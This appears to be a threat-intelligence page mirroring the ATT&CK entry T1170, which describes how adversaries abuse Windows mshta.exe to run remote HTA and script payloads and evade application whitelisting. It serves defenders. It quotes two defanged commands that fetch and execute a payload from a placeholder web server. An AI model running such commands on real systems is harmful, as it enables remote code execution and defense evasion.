自动化接入 · API / MCP EN

技术说明 · T1170

Mshta

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.

ATT&CK T1170 platforms — 状态 有效 版本 20.1

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. 1 HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. 2 Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code 3 4 5 6 7 Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. 8

  1. Wikipedia HTML Application
  2. MSDN HTML Applications
  3. Cylance Dust Storm
  4. Red Canary HTA Abuse Part Deux
  5. FireEye Attacks Leveraging HTA
  6. Airbus Security Kovter Analysis
  7. FireEye FIN7 April 2017
  8. LOLBAS Mshta

使用该技术的组织

参考表中尚无组织使用记录。

断言

尚无指向该技术的公开断言。

记录自动入库·未人工复核；置信度与有效期按引用读取。